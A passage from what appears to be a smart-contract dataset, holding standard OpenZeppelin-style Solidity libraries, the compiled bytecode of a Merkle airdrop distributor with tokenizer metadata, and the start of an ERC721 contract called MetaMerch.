actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } }
0x608060405234801561001057600080fd5b50600436106100df5760003560e01c80634e71e0c81161008c5780638da5cb5b116100665780638da5cb5b1461024e5780639e34070f1461027f578063e30c39781461029c578063fc0c546a146102a4576100df565b80634e71e0c81461023657806362a5af3b1461023e5780636a28f00014610246576100df565b80632eb4a7ab116100bd5780632eb4a7ab146101de5780634783f0ef146101f85780634995b45814610215576100df565b8063054f7d9c146100e4578063078dfbe7146101005780632e7ba6ef14610145575b600080fd5b6100ec6102ac565b604080519115158252519081900360200190f35b6101436004803603606081101561011657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060208101351515906040013515156102bd565b005b6101436004803603608081101561015b57600080fd5b81359173ffffffffffffffffffffffffffffffffffffffff602082013516916040820135919081019060808101606082013564010000000081111561019f57600080fd5b8201836020820111156101b157600080fd5b803590602001918460208302840111640100000000831117156101d357600080fd5b509092509050610472565b6101e661067f565b60408051918252519081900360200190f35b6101436004803603602081101561020e57600080fd5b5035610685565b61021d6107a9565b6040805163ffffffff9092168252519081900360200190f35b6101436107b5565b6101436108b6565b610143610953565b6102566109e9565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6100ec6004803603602081101561029557600080fd5b5035610a05565b610256610a3e565b610256610a5a565b600354640100000000900460ff1681565b60005473ffffffffffffffffffffffffffffffffffffffff163314610329576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b811561042c5773ffffffffffffffffffffffffffffffffffffffff83161515806103505750805b6103a1576040805162461bcd60e51b815260206004820152601560248201527f4f776e61626c653a207a65726f20616464726573730000000000000000000000604482015290519081900360640190fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff808716939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff851617905561046d565b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff85161790555b505050565b600354640100000000900460ff16156104bc5760405162461bcd60e51b8152600401808060200182810382526026815260200180610f1a6026913960400191505060405180910390fd5b6104c585610a05565b156105015760405162461bcd60e51b8152600401808060200182810382526028815260200180610ef26028913960400191505060405180910390fd5b6000858585604051602001808481526020018373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018281526020019350505050604051602081830303815290604052805190602001209050610596838380806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506002549150849050610a7e565b6105d15760405162461bcd60e51b8152600401808060200182810382526021815260200180610f8d6021913960400191505060405180910390fd5b6105da86610b29565b61061b73ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000008e6cd950ad6ba651f6dd608dc70e5886b1aa6b24168686610b63565b6003546040805188815260208101879052815163ffffffff9093169273ffffffffffffffffffffffffffffffffffffffff8916927fb94bf7f9302edf52a596286915a69b4b0685574cffdedd0712e3c62f2550f0ba928290030190a3505050505050565b60025481565b60005473ffffffffffffffffffffffffffffffffffffffff1633146106f1576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354640100000000900460ff1661073a5760405162461bcd60e51b8152600401808060200182810382526027815260200180610f666027913960400191505060405180910390fd5b600380547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000008116600163ffffffff9283160182161791829055600283905560405191169082907f1bed04c7cfb61e9a21d36517a6ed73b90844dc1ea8a74ce9f96ee2599be0db3b90600090a350565b60035463ffffffff1681565b60015473ffffffffffffffffffffffffffffffffffffffff16338114610822576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c657220213d2070656e64696e67206f776e6572604482015290519081900360640190fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff9092167fffffffffffffffffffffffff0000000000000000000000000000000000000000928316179055600180549091169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610922576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600380547fffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffffffff16640100000000179055565b60005473ffffffffffffffffffffffffffffffffffffffff1633146109bf576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600380547fffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffffffff169055565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60035463ffffffff16600090815260046020908152604080832061010085048452909152902054600160ff9092169190911b9081161490565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b7f0000000000000000000000008e6cd950ad6ba651f6dd608dc70e5886b1aa6b2481565b600081815b8551811015610b1c576000868281518110610a9a57fe5b60200260200101519050808311610ae15782816040516020018083815260200182815260200192505050604051602081830303815290604052805190602001209250610b13565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b50600101610a83565b50831490505b9392505050565b60035463ffffffff1660009081526004602090815260408083206101008504845290915290208054600160ff9093169290921b9091179055565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb0000000000000000000000000000000000000000000000000000000017905261046d9084906060610c4d826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16610ca99092919063ffffffff16565b80519091501561046d57808060200190516020811015610c6c57600080fd5b505161046d5760405162461bcd60e51b815260040180806020018281038252602a815260200180610fae602a913960400191505060405180910390fd5b6060610cb88484600085610cc0565b949350505050565b606082471015610d015760405162461bcd60e51b8152600401808060200182810382526026815260200180610f406026913960400191505060405180910390fd5b610d0a85610e47565b610d5b576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310610dc557805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610d88565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610e27576040519150601f19603f3d011682016040523d82523d6000602084013e610e2c565b606091505b5091509150610e3c828286610e4d565b979650505050505050565b3b151590565b60608315610e5c575081610b22565b825115610e6c5782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610eb6578181015183820152602001610e9e565b50505050905090810190601f168015610ee35780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe4d65726b6c654469737472696275746f723a2044726f7020616c726561647920636c61696d65642e4d65726b6c654469737472696275746f723a20436c61696d696e672069732066726f7a656e2e416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c4d65726b6c654469737472696275746f723a20436f6e7472616374206e6f742066726f7a656e2e4d65726b6c654469737472696275746f723a20496e76616c69642070726f6f662e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220e406d914af7294e1ab7fc1856cb18e859e2110136a9984fefac1b0e92331f6f264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2278, 2546, 27009, 12521, 2692, 2497, 2549, 4402, 2549, 2546, 15136, 2094, 2620, 2487, 2063, 19841, 2581, 17465, 2509, 2497, 2581, 2620, 2278, 26976, 2692, 2575, 2050, 2683, 2497, 19317, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 12324, 1000, 1012, 1013, 3647, 5017, 19859, 2923, 3089, 8569, 4263, 1012, 14017, 1000, 1025, 3206, 2732, 23398, 19859, 2923, 3089, 8569, 4263, 2003, 3647, 5017, 19859, 2923, 3089, 8569, 4263, 1063, 9570, 2953, 1006, 4769, 19204, 1035, 1010, 27507, 16703, 21442, 19099, 3217, 4140, 1035, 1007, 3647, 5017, 19859, 2923, 3089, 8569, 4263, 1006, 19204, 1035, 1010, 21442, 19099, 3217, 4140, 1035, 1007, 2270, 1063, 1065, 1065, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,850
0x95D00b77463eAd7b6A7bBF1189eE7eAa51d6c44f
// // ___ ___ _ ___ ___ _ // | \/ | | | | \/ | | | // | . . | ___| |_ __ _| . . | ___ _ __ ___| |__ // | |\/| |/ _ \ __/ _` | |\/| |/ _ \ '__/ __| '_ \ // | | | | __/ || (_| | | | | __/ | | (__| | | | // \_| |_/\___|\__\__,_\_| |_/\___|_| \___|_| |_| // // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function 